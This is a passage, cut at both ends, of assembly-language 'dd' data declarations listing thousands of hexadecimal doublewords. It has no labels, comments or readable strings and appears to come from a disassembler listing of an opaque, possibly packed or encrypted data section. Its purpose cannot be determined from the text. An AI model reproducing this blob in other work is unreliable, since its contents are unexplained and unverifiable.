73125A48h, 38AA9602h dd 8204D7FEh, 0B977D063h, 8248313Ch, 3CE54A64h, 0A0F3CA20h dd 0B57EE90Ch, 4AEC5F0Bh, 681EC9B9h, 2FE30A92h, 0F9620605h dd 80808055h, 0B5D5710h, 43FA40D7h, 5BE14504h, 8380D1F7h dd 50C02622h, 188D8E33h, 3AD47ADBh, 6C0A2E6Eh, 95CD2953h dd 0EC650110h, 8250AAC3h, 40B64A8Dh, 0DB408C18h, 35005190h dd 0E1814948h, 90DC2998h, 13E973D6h, 1613EC26h, 6BCEB1FDh dd 574B0A1Fh, 5C764633h, 4F25BD56h, 83B2FF47h, 0C001CA5Eh dd 274C9166h, 3B680DA9h, 7519FFC5h, 81265B5h, 18D7DF30h dd 1E1E262Eh, 0BC3901E5h, 5DEA96E1h, 9AE9FA80h, 0E91997BBh dd 103E62D3h, 5A25A4B2h, 32A50A40h, 1B0A6283h, 28FE5450h dd 3F913CE5h, 5A722DF2h, 870CC626h, 37E5CD80h, 7048BF5h dd 0C5550E22h, 40AEB96Bh, 0CE2DED1Fh, 0D63FF757h, 0C607134Eh dd 5C26BEA2h, 0AE600DCh, 0EB35563Ch, 3B0059F4h, 0D1F60540h dd 9801929Ah, 5F6A9869h, 19F34807h, 88990492h, 0BDCC2460h dd 0D2C89991h, 32CA06DDh, 939E82E7h, 0B0E5D911h, 599D9C2Bh dd 9765F8h, 9C7205ABh, 3598005Bh, 2877EFCh, 0D573F795h dd 0D4902D4Ah, 6E8C1h, 15864235h, 68FBE974h, 5BD738BDh dd 288E0E04h, 0E9822CE8h, 33DF0EAEh, 3E296CF3h, 291B581Bh dd 0BC994047h, 3E9A29BBh, 8201C98Ch, 0FCF6905Fh, 537BBFDh dd 315F5457h, 6259CF19h, 10E2D005h, 0BF05EE71h, 8095FA0Eh dd 2C18EF22h, 5266912Dh, 6B0883C5h, 155ABAA3h, 5201C301h dd 0D8319259h, 6878286Fh, 538D935Bh, 2C7640E0h, 59F94233h dd 0E6C92F01h, 40B9220Ch, 0F829E948h, 8018917h, 417FDB42h dd 123FED60h, 0AD03432Ah, 0EA7F5052h, 12D2F55Fh, 186C5457h dd 18D13C4Eh, 89A54627h, 291080C9h, 2E2D6449h, 0BAA6D787h dd 2DB8650h, 1837EA2h, 0A07D5FF9h, 1D13FB69h, 0ABE5B54Fh dd 12F35E88h, 4EC8E65Ch, 4129E0C8h, 5A4B24EFh, 9F6D1495h dd 517B2616h, 69B5BBA4h, 0EADB29A7h, 243C544Ch, 5EA21000h dd 0D90FA084h, 26A86B30h, 16735A8Ah, 61719768h, 2E5C054Bh dd 0D37CE188h, 17F4E9A1h, 42D2BF5Bh, 0B6544428h, 4A23280Dh dd 5A870EFEh, 1A371432h, 0CC413900h, 1F68FD7Bh, 0D8CC624Ah dd 607800EFh, 8EEC16Eh, 1B9415E9h, 0E9D0542Ch, 4141E3D1h dd 2D689D1Ch, 368DBA5Ch, 68B352F9h, 4DFD0212h, 6D8209F8h dd 4C093A7Dh, 97F5738Eh, 2A9260E6h, 0D516815h, 0BD379EAh dd 8BC57F0Dh, 4CD3324h, 0E912BE04h, 3158D216h, 1C3137D0h dd 0CC103F59h, 335B723Ah dd 1DF47E25h, 0B0CD5A31h, 1431FD11h, 44FEBC8Ah, 80825F2Fh dd 0D116D975h, 2E4C1E5h, 0C03980CFh, 28014934h, 72E9395Dh dd 4DD6764Ch, 26EB5715h, 0EE81010Bh, 46DD1F34h, 38212A31h dd 40590802h, 0F43B43A9h, 0BB530202h, 39F4B60h, 5CDCF782h dd 1085B5Bh, 2EB80058h, 2D37923Dh, 7BF1F209h, 314527C2h dd 0CF91E951h, 0D3B3413Bh, 0D85C6805h, 281899E7h, 7E760B02h dd 5020061Eh, 2A5AD721h, 2F5F270Bh, 0E722013Ah, 0E88B463Eh dd 0F490BF96h, 9A955C3Bh, 51B86967h, 6A8CF942h, 0AC097D02h dd 21304250h, 9CE92DE8h, 42C29E61h, 88010690h, 0B21759C8h dd 56DA563Ah, 3E2D2809h, 0F202861Ch, 9B314883h, 94159A2Ch dd 42CEEBAh, 0A5D40984h, 0CDC881F9h, 57D06A17h, 2E751CEDh dd 30166D4h, 496C77CDh, 5F8C0C1Ch, 0E94D0342h, 550168B6h dd 42C12D68h, 5D4455D1h, 2941FDDDh, 0A76870E9h, 63685701h dd 0E424FF54h, 550EFC1h, 0D504FDB1h, 0FE89081Ch, 0C6C330F2h dd 0F6C9CCA1h, 34C96A21h, 82CEAC30h, 7090604Ch, 0CB55428h dd 88D0A2BDh, 0D11C8202h, 20ED24F2h, 9D556A68h, 5C8DBDEDh dd 5DDA9141h, 0C9014BA7h, 0EDDD7084h, 1CF7C53Ah, 1892F9F9h dd 0D0E904EBh, 0B03C5296h, 3731A4DAh, 0A00F4AE7h, 4D382101h dd 0CB899410h, 161D109Fh, 5B81040Fh, 0ADE8B00Bh, 0B20459F5h dd 0EB8955C8h, 180072E8h, 0E94FE87Bh, 0CC970195h, 26C9C675h dd 0F61441C5h, 7BBE480Bh, 2E21F531h, 0C0C070BDh, 0EEF906Dh dd 0FAAF03BFh, 2936EAC0h, 0DBE77CFEh, 5408B641h, 6E27BB2Eh dd 58BCF0B4h, 56140C12h, 44AE1704h, 884306FBh, 57410F41h dd 164DC450h, 0A939516Bh, 9ED563Fh, 7B7C44B6h, 0C222D4CBh dd 2B562ECFh, 0D5270662h, 0BE042A1Ch, 69667F38h, 0B23CAD88h dd 0B36C9F96h, 3B02EB09h, 4A378214h, 0E56B8EA0h, 0FEE3C3BDh dd 1DE22579h, 2D069CCEh, 7BA4D140h, 5AE912FAh, 26DC9636h dd 11FC479Dh, 25E14C02h, 5121B9DFh, 52D2732Bh, 0E41FC02Fh dd 0E4FE5B93h, 0F9555C8h, 0D0900057h, 0C5C12CE8h, 0FCF09B30h dd 0DA0D9E21h, 0DA61109Eh, 8022E0FCh, 5724DBBAh, 0CA0102ADh dd 180A1F28h, 3C84E2D8h, 0E98B692Eh, 0F94648F3h, 30B8A4C5h dd 0DF4364C2h, 3E0E020h, 340BE125h, 56482E16h, 3B45003Ah dd 47F38126h, 7AED29ECh, 339F314h, 24CC156Dh, 802EB601h dd 58DD2908h, 407F4A5Bh, 5F4E512Dh, 7BF7C660h, 36F9240Fh dd 622312D1h, 90DF5A7Fh, 0B30635FBh, 0DE9A0882h, 0E3C10Bh dd 2BABC36Bh, 1A5B63h, 52BCCBC3h, 0E916333Ch, 22960547h dd 7BB5077Ch, 7A8C380h, 4B5D5EEBh, 0D8201BE9h, 336D57BEh dd 0E61FC1E2h, 0AC894602h, 78D5128h, 31515066h, 0DE2F0EB9h dd 19603A70h, 60E9C860h, 0E29DC4CEh, 0FEC48006h, 0B1128ED0h dd 3B17D601h, 49D2019Ch, 0EB1A033Ch, 45603C9Dh, 6B16CBBAh dd 81B768A7h, 0C8B71712h, 0C8643BE7h, 0B956CD3Ch, 283007B8h dd 0D76F20F6h, 5E2D4CEDh, 52F80846h, 3CB085Ah, 5CB0552Fh dd 9F4F1FE9h, 70897D52h, 0E208C0DAh, 0DC251745h, 0F19E082Fh dd 4416582Dh, 9F0AF30Eh, 0D601A12Ch, 5A3AD80Fh, 2A228C5Ah dd 5FC660CAh, 0B96AADEEh, 0C5582E2Fh, 0F1E9053Bh, 0BB29EB5Bh dd 0E984D82Fh, 7926622Dh, 551A5FDh, 0C05C6A2Fh, 0B7B0B343h dd 0F79FD023h, 0A65D0C3Eh, 0A00C8658h, 50E8E73Eh, 7A14C803h dd 0A76595Fh, 8C25827h, 0C45ECF6h, 0E028C14Bh, 0B722CAD7h dd 5C4A159Ch, 9F67D82Ch, 0B0642785h, 9C41E41Fh, 8532F461h dd 95E0F227h, 0B79057ADh, 132C1500h, 70E06812h, 0C804CB4h dd 2D0D7F10h, 3F137B20h, 732CE92h, 31E88861h, 720CBBE9h dd 946803F6h, 0E216E50Eh, 0A0CA6AB1h, 3B005F4h, 2FD77DA6h dd 787AB624h, 0B254565Ch, 13A17B5Eh, 5ACB97CAh, 0C11E0B63h dd 34A64D7Ah, 0DB963A98h, 0FEBE4C2h, 8D9518Ah, 0A623B9D0h dd 0BE12A63Dh, 0AAB068ADh, 907FE637h, 40442CCDh, 6C522DC7h dd 453B6509h, 26A30B79h, 605A5A0Fh, 0FEBBF116h, 204C446Dh dd 9D683525h, 39052A04h, 6FBE5600h, 1F7B4325h, 5A50402Fh dd 97ED4E10h, 0E0B2C441h, 0E8188394h, 67AB8702h, 0D95982EAh dd 76858344h, 0B232B08h, 2240DF87h, 0DFCEA2F8h, 0E150EBE1h dd 37801B1h, 5D30A44Eh, 0C5BD27A4h, 0FF5C0934h, 9BB87E68h dd 2DD045C0h, 7CEB7776h, 20E4B64h, 3EBF68FBh, 9915B475h dd 7CBC03CEh, 7A041E5Bh, 32393071h, 0AD29DA80h, 0CA504894h dd 63423B01h, 0F9F7016Dh, 5E0842EFh, 74B7895Fh, 6C71256Ah dd 5C0987E4h, 0B0C9ADFEh, 0A83AE9FEh, 4EF468DDh, 88522150h dd 5A33C8C6h, 3E51C690h, 3D0B2E7Ah, 0BE13A040h, 7A3B64CEh dd 409D5E62h, 2959CDD7h, 7D985DE8h, 0DD89025Eh, 32A48B38h dd 96DD56F6h, 1C10131Ah, 0DD730EA8h, 0AC3924B2h, 0F949DF50h dd 73C4DE18h, 6D27CEB0h, 0F6C23850h, 2034E304h, 5BF294Eh dd 0F9E87BFBh, 50618552h, 53C487ECh, 0C9410E28h, 80F66014h dd 202C17C6h, 0C2EA06F0h, 949D16FBh, 1A6E97C8h, 41EAA831h dd 6EE12DF3h, 80DBFB75h, 0A16BC806h, 74105B0h, 1205FCE9h dd 71E12190h, 5F5F022Bh, 0FF6152AEh, 864A4635h, 4855780Ch dd 3AF70FFAh, 84B7B314h, 0C844AAC2h, 97504FF3h, 7B0B564Ch dd 2F00792Ah, 4CDB94EDh, 0E9EBFCFDh, 1CF7C85Dh, 0D992CE87h dd 252AF609h, 60BF58B2h, 6CD821BAh, 66E9C717h, 0D85CB34Bh dd 581ABD52h, 422338DFh, 52B99770h, 163C6254h, 6D41E597h dd 0C23FC9E3h, 0E34876Fh, 21DFFD42h, 9C2657Eh, 4D02D7C2h dd 0C11B63A2h, 34514C21h, 0D6CB951h, 30E73D8Dh, 9802FCF6h dd 0CA2934EBh, 744BC259h, 0C49126F5h, 36BDC053h, 3C4E3B5Ch dd 6CF39AF4h, 252C1334h, 7B3F7001h, 87685653h, 5E71D0D7h dd 9F29046h, 8761747h, 2F5BFE00h, 50904F0Ah, 20C0BC0Bh dd 2D6E56D9h, 0F0C16550h, 0F934D8DEh, 17E00230h, 0D47BC802h dd 5B080C3Ch, 0DE0DEF13h, 0C289F3Ch, 0A8F94404h, 0E9A04313h dd 0D2D6DEC9h, 0FA26E0A9h, 130025E7h, 13B35358h, 0F6C3FE09h dd 6E5C07DBh, 0B0C4E933h, 6B28D1C1h, 4FD810D9h, 1DBAA988h dd 5CFA051Ch, 0A80950C4h, 0F6FCE9C2h, 0FEB9015Ah, 2A5D971Eh dd 0CB40EC8Ah, 0CB141365h, 1C3EB02Ch, 0D602135Ch, 0ADF43416h dd 24AA76C3h, 104907C0h, 33CB4044h, 1343A63h, 2DC07FC2h dd 0D998AE15h, 4E4EAF68h, 0E5357D27h, 2D494B80h, 934964Ah dd 0A746250Ah, 4F296590h, 0C52D0A22h, 34C52F9Eh, 60C3310Bh dd 82989D0Ah, 0F40E7FC3h, 77E50F4Eh, 0D8AE9F04h, 84DE0104h dd 26DB01C8h, 0EAC58309h, 0AD4DD1C1h, 8E1B61E1h, 0F65AEC3Ch dd 0ED2C13ECh, 49DE6FECh, 3F721FEBh, 2C56E00Bh, 0BBC7328h dd 0F1FEA85Ah, 96B0FD72h, 49CF09Ch, 6F8DFC49h, 506235C9h dd 0F96D9202h, 0C64F9F5Eh, 3910D48Ch, 7C0AD788h, 0B1C0187h dd 326CAE55h, 89E2595Eh, 58C2212Dh, 0F407C0CEh, 58E330B4h dd 5245013Bh, 0EEF07CB6h, 51660101h, 0E91BB050h, 20003BF6h dd 3C05BCB8h, 25402E3Bh, 10ED0E00h, 0E33A6584h, 37D616A2h dd 97A9D0CCh, 0B57B7A89h, 5913CC25h, 4C7815B3h, 0C1C1D5FEh dd 715603EBh, 0DB45AD3Dh, 5B69CB89h, 0B5C67854h, 0E95928EAh dd 68E2DC24h, 71E01C45h, 5CF940BBh, 0AB60F0ECh, 3E0ED79h dd 0E0465E31h, 0C305830Dh, 99BDE902h, 3FA555D1h, 6968F579h dd 98BEA0E6h, 72059D6Dh dd 7FAD8B54h, 1AB3AA26h, 5F59C883h, 56269268h, 5D7D603Dh dd 7FD64D88h, 0A420AAE8h, 17A8BB3Ch, 0D314448Ah, 7AD404E7h dd 0A4C00DF0h, 17E5CCE0h, 0DDF8930h, 28897737h, 71532DE1h dd 8AA352C5h, 3040478Fh, 704A4A3h, 81E963A8h, 0A3E84A95h dd 0D62F2A2Fh, 615C34A9h, 61170490h, 21CBBD0Dh, 0ACD2A774h dd 0D36E44B9h, 3D824D94h, 28009F7h, 493F57BEh, 206B2758h dd 2D5B3DCEh, 7BA2C3Fh, 2AB7C283h, 0E9A98929h, 375354Dh dd 0D74004DAh, 964E79EFh, 0B5619A9Dh, 571C726Bh, 2D45637Ch dd 0F8C957BEh, 0CC2B12BDh, 212168B3h, 0F45F4A1Ah, 96B0805h dd 312D4000h, 4713A3Eh, 8CFF9A05h, 0FCFC2C0h, 89D58902h dd 251B53CEh, 0E5428959h, 8E1155D0h, 17CDE457h, 5BBF0282h dd 0A81099Ch, 0E17EF3EDh, 0A9C12B7Fh, 0D476CB94h, 0E829124Fh dd 0A5E9C339h, 0B9EF4A22h, 285E7ACCh, 0BE85B12h, 0D2EB5CCEh dd 99204A45h, 824CD916h, 0BECFBA00h, 343B4103h, 0AB5BD4E9h dd 0EE44C521h, 8129242Ah, 1C709E2h, 0CE9E5952h, 5B4AA0A1h dd 9F53CF3Ch, 35055F10h, 25684082h, 62BA70B3h, 0B42348F3h dd 6861F707h, 0CC2E2D45h, 25A315Fh, 5D14B34h, 40069E7Ch dd 7B9FE727h, 0F76686A1h, 0E91235F1h, 3FA5F60Eh, 962E17DCh dd 7668631Eh, 0AB4B137Eh, 0D58482C4h, 0B6A1B6B8h, 6B53F5EDh dd 0C00F2FCEh, 5A09D388h, 65D787h, 2AB551DEh, 0C570EDF0h dd 0F82C6EF7h, 49FD4989h, 0D12C3348h, 4E520980h, 0EF8AF4F9h dd 8160C794h, 241FFAF1h, 11697DBFh, 4F839DBh, 348B5830h dd 4E952EFh, 1DF5FD4Ah, 5CA888Fh, 0B9AD498Ah, 6B7C68C2h dd 50DB307Dh, 0BF420E9h, 1AC62927h, 40BF0DCh, 0E94D95DAh dd 6933B1B8h, 0E6DCB483h, 68F140F0h, 0E6476627h, 0E3E49FE2h dd 0C544F20h, 7B442D66h, 67DA508h, 2B80FB5Fh, 69C38058h dd 0A10E060Dh, 0B25250C1h, 0DCF2F07Bh, 3EAC01Fh, 880EC2C2h dd 0F71841D0h, 0E14D2E72h, 4FFA1A10h, 0EC521FC8h, 48787CA3h dd 0FB20CD7Bh, 0EDC15A09h, 40F07603h, 2C87608Ch, 0E7B8CDE4h dd 843F08DFh, 0D26B3CE2h, 5D8B0BA8h, 0A1BC6204h, 978F7ED1h dd 59788051h, 0E2785024h, 4C43291h, 5D516703h, 878F5843h dd 7B93E1E3h, 585BBAA0h, 12F0759h, 0C90103DBh, 5C8943D7h dd 0C3E3802Fh, 2104FDBFh, 0B79FE9C8h, 3A262F8Dh, 5CC18101h dd 0D848BF16h, 4006D7E9h, 0D9296ED1h, 4108831Ch, 59FB1472h dd 0EC936B72h, 0BB149864h, 5AE63846h, 7109A0CAh, 0D925295Ah dd 614E9EFDh, 4C830F4h, 92DAC6E0h, 0A063F899h, 95E1897Eh dd 40A072C7h, 0A5414C98h, 1342F7FCh, 12A758h, 4424FCE1h dd 3D2568EAh, 604C7E1Ah, 1F4A94BDh, 72313B2Dh, 2629D68h dd 0C5E90C02h, 0ED84375Ch, 1053FFCh, 0C648C1EEh, 78976202h dd 66686195h, 0DDEAA32Ah, 8CE7EA96h, 8262A35Fh, 7548C268h dd 4202E399h, 32FCE922h, 3EED0CB5h, 0E420FA58h, 0B5FA30B2h dd 0BEBD07BFh, 6D867990h, 8CE60C81h, 0F63CF738h, 7B04350Fh dd 70EE8061h, 39E982BDh, 5F90F301h, 9B435BC1h, 0FA9EB753h dd 4E2E697Ah, 50913480h, 0F329D7BCh, 0D3015E17h, 0A922E50Ch dd 867004F2h, 0AB215FFFh, 9A1E27C8h, 0B7E595C7h, 82E25516h dd 0E0AB7C4h, 0B021C4ACh, 954013A4h, 0D6998B09h, 0F2B2652h dd 0C57C3F68h, 9AC25F44h, 6D660BC2h, 4E0B6698h, 8A470D74h dd 820BFF1h, 0D2E95D12h, 0F280AA83h, 7C5A7F8Ah, 0EE289E39h dd 137BB010h, 0CC6BB868h, 0BE4932BBh, 92011062h, 6806B803h dd 0F9E8038Bh, 0FC5E7497h, 0D75675C2h, 13DE8180h, 35F20751h dd 0F64A06A2h, 6A44F341h, 0FB5EAC09h, 0A956168Eh, 0C5532F66h dd 68B00000h, 0C5885152h, 1A25F898h, 0C4A9742Fh, 5FA1B023h dd 5436E2B7h, 0D2764BBCh, 5A919F42h, 31560305h, 0EF296932h dd 69B338E9h, 0F0AD5029h, 5DF45A5Fh, 58F5F69Bh, 4C049092h dd 0A159E828h, 85F62AFAh, 976DE84Ah, 0A68B8D0h, 6E30BF77h dd 0BC60DBE9h, 56C3296Ch, 2C8B09BEh, 3F095D70h, 49AC79h dd 7A46615Ah, 0A9050133h, 0E90E5606h, 5B7D7487h, 1B0500Fh dd 2D05B6B3h, 6EC0C058h, 2880CBFEh, 48EE42F3h, 0BD72A432h dd 68159A64h, 11BE3393h, 59242CEBh, 25241008h, 8851D61Ah dd 81001FA1h, 0FE3D23CDh, 0DDF7300Ch, 152897BEh, 1C8184Ch dd 6109798Ah, 0DE71EBC1h, 907C2CCh, 96E92670h, 0F62D7646h dd 16FB52F9h, 350AFD68h, 6E29DDAEh, 0B86C4118h, 3DCE265Fh dd 3E9E0200h, 9A00534Dh, 16114C1Eh, 0CC065768h, 1913FC5Bh dd 310147B3h, 1F32630Bh, 0A46C0C80h, 0D9F70E90h, 0EE9A6EB8h dd 5AB65D4Ah, 0F14AF10h, 54077FFh, 0CA94907Fh, 95DC44FEh dd 0DA40BBEAh, 0CEDAC537h, 5EF72C89h, 13F42279h, 0C159850Fh dd 3F01682Dh, 0E5E99230h, 0D9229D4Ch, 0BF4C1ACDh, 90916420h dd 459C94E4h, 0FFD5348h, 5110C532h, 8F9A6051h, 0E444124Ah dd 4DAA1C22h, 2DBBB219h, 0E3935B4h, 3D0711A8h, 0B66D2F56h dd 0BA9E5BACh, 5DD0890Fh, 5BAF8DA4h, 122DA49Fh, 8815A013h dd 0E52DF472h, 0AF895958h, 0D5F603C0h, 80EE861Ch, 0DECBBD9Dh dd 0BB7E8151h, 0B320D188h, 305912CEh, 0A0ADECF0h, 91553668h dd 0D854990Dh, 53162E74h, 68A8E2A8h, 0C343D026h, 3D44C2h dd 45B280B0h, 50F6C2E0h, 0C18DBA48h, 419B6857h, 5722426h dd 0E9050176h, 35D84282h, 70E345A1h, 0DC0357A8h, 0F0962C2Dh dd 0A8F195FCh, 14DF062h, 315BFD30h, 80887E23h, 3B234187h dd 0DA02448Dh, 0DF2902A5h, 84249ED5h, 5E4BA406h, 50C0A201h dd 575FDC12h, 0F972E0D7h, 0F8FD90BFh, 89FCEF24h, 45B197FEh dd 0D964C9EEh, 0F7C07B2Fh, 241F3ACEh, 754998h, 2662C045h dd 40B47789h, 92E9242h, 56F6AA80h, 9619427h, 0C40E530Ch dd 0B169E9D8h, 3EE324C8h, 0BB0E8F34h, 2468AC38h, 0C4882058h dd 4B66FC95h, 0B99207E2h, 0D38848Eh, 9DE80B9Dh, 65CBB4C4h dd 569E615Dh, 52AD2057h, 809DEA6h, 767EA21Bh, 0A1072040h dd 0DF62DE17h, 89EC8F16h, 3B16F850h, 2D38A395h, 744CD99Dh dd 887DA230h, 492F685Fh, 71AEB05Ch, 81220765h, 315A1EC9h dd 78D1E938h, 0F7493A87h, 0F8B15150h, 83D598A9h, 4F5CF9BEh dd 6299FF75h, 0E3BA5E0Fh, 0D3023821h, 0CC3CE6CEh, 99276027h dd 0C7C0918h, 0FEF4D631h, 98064B0Ah, 0E9099F26h, 0F78DE00Eh dd 70E1A0D6h, 3704241Bh, 1DCE2407h, 3FB78764h, 15B8331h dd 38FEE9E1h, 43B50507h, 0DF0BC528h, 0C02A07EEh, 0B3530340h dd 0B0E91249h, 3C7FB2BFh, 8DD3929Ch, 69A961E4h, 0CB640D9Bh dd 7B077C5Bh, 0D780E068h, 9049597Fh, 604A3C97h, 30E91E06h dd 8BE12594h, 29142903h, 0E9D201FFh, 886EBC02h, 0F6A8E78Bh dd 1CFC2CB3h, 0A3307EF5h, 5B2E57A6h, 6849E433h, 1A28202Dh dd 0D6110BAAh, 1B54A527h, 0AC785F59h, 6E4CF501h, 0E5585240h dd 0B8013B55h, 5F126677h, 3B4F4860h, 2FF54524h, 0A752369Ch dd 0F205D807h, 2DD00D5Ah, 4829687Eh, 0ED122735h, 0B53FE819h dd 52F12CEBh, 4A4099BAh, 5392468h, 92B3638Fh, 0B9262012h dd 418A29EBh, 0AC5E06h, 167958B9h, 629572Eh, 2702A99Bh dd 8A5FFD2Ch, 0FF3E4462h, 27047322h, 0C2CB0F09h, 0E231E15Dh dd 1297FC0Fh, 0D385ED2Dh, 5BBBB0C8h, 9FA58DC0h, 0C24C54DDh dd 90CB790Eh, 30037BCDh, 6F642352h, 37276C72h, 0A2D7B59h dd 26F8CA2h, 3506B44h dd 6AD1CD80h, 292C795Eh, 82271F2h, 83E9EA12h, 9F7C2BF1h dd 237EE2A7h, 381C57D2h, 82B0FF26h, 5095325Fh, 419FAA1Ah dd 2D6666DAh, 8524F1DFh, 423CF1E9h, 423D6897h, 20892BD1h dd 60A97476h, 748266DEh, 21691096h, 5A138056h, 6ECCB470h dd 9BC9EBAEh, 815148C1h, 3F53B5DCh, 0C16B893Eh, 3142C14Ch dd 0FF076E9Fh, 2965573h, 3180090Ch, 0F6E2AA8Ah, 742DC3D2h dd 4894592Dh, 29DEE905h, 4FB3E978h, 0C9D3A307h, 25F074C1h dd 24C930D9h, 96B031AFh, 22535F2Ch, 3F7CD39Ah, 0F48BAF89h dd 60889E8Eh, 564FBF05h, 38822F17h, 2D408BBh, 42F41EF9h dd 41DC8D89h, 417BE98Bh, 8C3089D9h, 4A21BF29h, 6034E4A3h dd 0AC412661h, 5A2E162Ch, 0C54718E9h, 0AEB1D2EBh, 66549901h dd 0EBBED117h, 0C14C78F0h, 0FBC0740Ch, 8022E29h, 0DEBC45E9h dd 0C20245EBh, 0B71F409h, 7376BF00h, 4C295316h, 0EB0519FBh dd 4DE0AA0h, 197CFF9h, 1E1BE568h, 0F0B1D1CBh, 0E2C6376Eh dd 1ED7607Ah, 51D102FDh, 0E7C12510h, 589B0143h, 803FEBE9h dd 211C43AEh, 2DFB890Fh, 0E404A0E9h, 0F62CBF48h, 0EA85055Dh dd 0EBD0318Fh, 401DE92Ch, 0CB5B294Fh, 0DD0485CBh, 0F93F59E9h dd 9827D5F1h, 91D0F70Dh, 0C398094Dh, 220896F9h, 0F1591695h dd 0F875445Eh, 0B2978472h, 7D95B901h, 0CED420FAh, 0F3811FC0h dd 0B883F897h, 0E38530E5h, 80C4FE2Ah, 8834F40Fh, 438E89E6h dd 8A77A989h, 56896A2Ch, 7B89C67Eh, 0EAFC208Eh, 973AF777h dd 15F51D0h, 6012A40Bh, 24D531F5h, 0BEC95F5Ah, 0F9C67A16h dd 0F84C2021h, 15AB6966h, 0E4D9BB5Fh, 178A3321h, 0E1305567h dd 1EB450BDh, 0D4D4F696h, 6079DDECh, 0DFCBE744h, 375C9B7Bh dd 14341C06h, 0AAE80F52h, 0B0E6E912h, 0BF93ADF6h, 67EBD28Ch dd 0FE6806F3h, 4D3F6CBh, 3068EEFCh, 0A93BCB34h, 0D81BC817h dd 968D6CCh, 35935E94h, 7055BC80h, 0E9253C53h, 3C1B5B13h dd 43A720A5h, 563A75F3h, 4B56B880h, 12707BA0h, 0BB3926F5h dd 543D9509h, 0C2898385h, 56D247B9h, 0C882F450h, 0ACC7F104h dd 686435FBh, 0C0C1B109h, 78015A3Ah, 18652FCEh, 34EFA5C9h dd 3FB15DCAh, 12DC5325h, 42240FDh, 2CD0287Bh, 7904A8E9h dd 0E7199B4h, 0BD5CAF64h, 5820F0C4h, 29592589h, 66837B7Ch dd 0F96AAF7Fh, 43991B5Fh, 6E42B0C6h, 0A8C32E40h, 5CB131D2h dd 0D058BF01h, 3D759100h, 0E94E4653h, 31257DEFh, 1BC920D9h dd 980207F8h, 76340177h, 0E9577251h, 81CB8709h, 43CF2FEDh dd 0E9EE3169h, 317643D6h, 0A8086813h, 0C9B64A33h, 426A795Ah dd 4009E492h, 82EB403Fh, 4235ECF6h, 78EA2CBEh, 0DF35F963h dd 343D9881h, 0CA38485Bh, 0C751B169h, 0A5AFFEA5h, 1049D9F3h dd 81FA2314h, 4283E52h, 7F050768h, 8B8B1D87h, 2B717FD6h dd 0F75FE350h, 594B79D3h, 0B5BB151h, 0EEC06DF1h, 0C01F8B0h dd 2BB353EDh, 9DBC8E9h, 895BDAF7h, 0E9847765h, 0F81202B0h dd 7C8D9EB9h, 0E141E723h, 4002FC5h, 681E66AFh, 82D63B93h dd 0F85A1F49h, 0D8574B3Eh, 94975F8Dh, 0A30F2688h, 8814421Fh dd 0FE4DCB20h, 0CF65B0C3h, 86F9B3EBh, 57520022h, 0B3406768h dd 2E02625Fh, 0E09D0A46h, 58070E2Ch, 0AF1043DFh, 0B16839A9h dd 0E8FBE773h, 0C15A346Fh, 204BB747h, 2BA48D3h, 0C5C82925h dd 9ACCA5C3h, 921EA125h, 3F6783A3h, 0AA1D1305h, 6AF34087h dd 832C6B28h, 0AC8A8BF7h, 948C64Bh, 4FCE560Ah, 42348B80h dd 0C12D43E8h, 48C8C0E3h, 0A3C9123Fh, 0E9A50501h, 54B64EB8h dd 0A78539CAh, 1612EA70h, 0C6471E9Fh, 0C2CC043h, 0C2BB13ECh dd 40CC12A3h, 706C2DD2h, 481E4297h, 0E702E0D1h, 769E3341h dd 0BE560F60h, 68216243h, 0B013022Ch, 0AF0F4EC0h, 294B2Ch dd 8E5E6DCh, 0C13076B5h, 0F5C6B4EEh, 0FCDC09FFh, 0C8F4F301h dd 28C4F069h, 2061E39Eh, 314A1DF1h, 59D042A0h, 3BDACF13h dd 0F4EBB28Fh, 655F63E2h, 29EB51Bh, 0DA885C77h, 38F540E1h dd 6F04D348h, 0AC0FE768h, 52669F00h, 42981FB2h, 0B52DA340h dd 269FC76Eh, 131901D1h, 0C816C068h, 6AF25609h, 0FCBC484Eh dd 0ED28D715h, 19770981h, 0FCE83031h, 38E4C8BDh, 96FA846Dh dd 780864Dh, 0F0D8CBF2h, 26EFC05Eh, 2F071157h, 5B0BD729h dd 14F563C2h, 0F0ED4CE4h, 0ABB1A814h, 6E503A8Bh, 134C149Dh dd 0B659D068h, 9274279h, 0D6149C68h, 2A0A6204h, 6DC3C104h dd 5B4BCB40h, 485280CDh, 434B69E6h, 0E90BDEB2h, 0A023DD18h dd 9B9F5FFDh, 0EB416412h, 0ED518C1Fh, 14987C08h, 94D70313h dd 92DD2971h, 1725A6F2h, 2F9D236h, 0E63A7D29h, 846316F5h dd 85E620B0h, 0E12DFC96h, 0ED7D50F5h, 9C9F810h, 4B1F6B6h dd 3C4F1FEh, 0F15875D2h, 996609EFh, 68E39D5Eh, 48BF8D12h dd 80021E89h, 0E22806EAh, 0EBCA4065h, 64FA95F0h, 24C29E75h dd 0E11C5F09h, 9105225Ah, 2D7900h, 933E9068h, 47772232h dd 0D6F70A34h, 0CD09FA53h, 297832EFh, 97DDD05Eh, 0DDA0E971h dd 196BDA1Dh, 91DE945h, 0A6B83CD4h, 0FA057281h, 2D92141h dd 0FBC007EDh, 0D6371099h, 628F160Ch, 82ADE36Dh, 9AA8C99h dd 1217BD80h, 892E0903h, 0ED2A2DC8h, 12501949h, 79BD055Bh dd 36093548h, 25804D6Ah, 5B610AF6h, 0E604C1F8h, 1EB36803h dd 1CDA898h, 21231D22h, 3FF7E9DEh, 7DCED640h, 0EC330B37h dd 274F09EEh, 3F862B0Ch, 60CB85Eh, 1EF093D2h, 4591703h dd 105D1261h, 5B2D0856h, 0B7181DC2h, 0B04E6DE9h, 3489DA5Eh dd 0AFC182ADh, 0EF307606h, 4F201569h, 7ABA5256h, 75507207h dd 732E6BEh, 0FA74D04Eh, 1757EE9Ch, 0B9C2813Bh, 0C8AA50A8h dd 0EEC78980h, 95384E32h, 9332ECE8h, 562CC456h, 0F6CC4001h dd 0BA80DE39h, 0C0D6941Bh, 0C63878A2h, 0E9F00BF3h, 0F429C211h dd 49551EA8h, 4E59DC45h, 6B05B58Fh, 81502092h, 2C4DC9F1h dd 103C15F4h, 0F5077BA6h, 659F105Ah, 0DC8A36B2h, 0A8544B07h dd 0D18D2FB8h, 0E6559215h, 9F7916D3h, 1370CB45h, 7861DF8Dh dd 9D53DEE8h, 0E919AB66h, 0EB931B4Fh, 0B8E8946Eh, 0B3E9C2DEh dd 0A81ED39Ah, 6FA49DE4h, 0E825942Fh, 0C68E048h, 33E6971Ah dd 139D5C25h, 0EAF9C260h, 0B5B5867Ch, 70B8B0B5h, 28FAC96Fh dd 40BD024Ch, 4C7B707Eh, 